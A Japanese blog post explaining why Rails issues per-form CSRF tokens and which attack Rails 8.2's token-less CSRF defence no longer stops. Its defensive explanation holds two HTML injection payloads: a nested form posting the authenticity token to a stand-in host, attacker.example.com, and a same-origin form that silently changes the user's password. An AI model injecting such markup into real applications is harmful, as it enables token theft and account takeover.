Rails8.2ではCSRFトークンを使わずにCSRFを防げるようになりそう - おもしろwebサービス開発日記の続きです。前回のエントリではRails8.2からトークンを使わずにCSRFを防ぐ仕組みが入るぞ、という話をしました。偽陽性がかなり減ることが予想されるため、個人的には大歓迎です。
ただ、トークンを利用することで防げる攻撃もあるので100%上位互換というわけではないぞ、という話をこれからします。
前提: Railsはフォームごとに別々のトークンを発行する
Railsはこれまでトークンを利用してCSRF攻撃を検知していました。Rails5.0からはデフォルトでフォームごと*1に別々のトークンを利用されるようになっています。これはconfig.action_controller.per_form_csrf_tokens = trueとするかconfig.load_defaults 5.0以上で有効になっています。
PRはこちら。 Per-form CSRF tokens by btoews · Pull Request #22275 · rails/rails
なぜわざわざフォームごとに別々のトークンが必要なのでしょうか?CSRF攻撃を検知する目的であれば単一のトークンで良いように思えますよね。説明は上記PRに書いているのですが、読むのは大変だと思うので以下に要約しておきます。
フォームごとに別々のトークンを発行することで防ぐことのできる攻撃
まずRailsアプリケーションにXSSの脆弱性が存在することと、CSPが適切に設定されていてXSSからのJavaScriptを実行できなくなっていることが前提となります。JavaScriptが実行できなければXSSの脆弱性があっても安心…というわけではありません。次のような形で攻撃ができてしまいます。<!-- xss -->と書かれた行が攻撃者が追加した文字列です。
<form method="post" action="//attacker.example.com/tokens"><!-- xss --> <form method="post" action="/innocuous"> <input type="hidden" name="authenticity_token" value="thetoken"> <input type="submit" value="なにかを登録する"> </form>
このように正規のformタグの外側にformタグをネストさせることで、(HTMLとしては不正ですが)攻撃者が用意したURLにformの内容を送信させ、フォームの入力内容やトークンを盗むことができてしまいます。この攻撃自体はCSPのform-action を利用することで防ぐことができます。しかし次のような同一オリジンに対する送信は防ぐことができません。ユーザが送信ボタンを押すと、攻撃者が設定したパスワードに意図せず変更されてしまいます。
<form method="post" action="/user/change_password"><!-- xss --> <input type="hidden" name="password" value="password"><!-- xss --> <form method="post" action="/innocuous"> <input type="hidden" name="authenticity_token" value="thetoken"> <input type="submit" value="なにかを登録する"> </form>
フォームごとに異なるトークンを付与することで、この攻撃をActionController::InvalidAuthenticityTokenエラーにするなどして無効にできます。
感想
トークンを使うことで防ぐことのできる攻撃を紹介しました。前提条件がかなり難しいので僕を含む一般的な開発者はそこまで気にしなくていいとは思います(それよりもXSSできないように注意するほうが重要でしょう)。が、こういう攻撃手法もあるんですよという話は知っておいて損はないかと思ったので紹介してみました。
*1:正確には送信先のアクションごと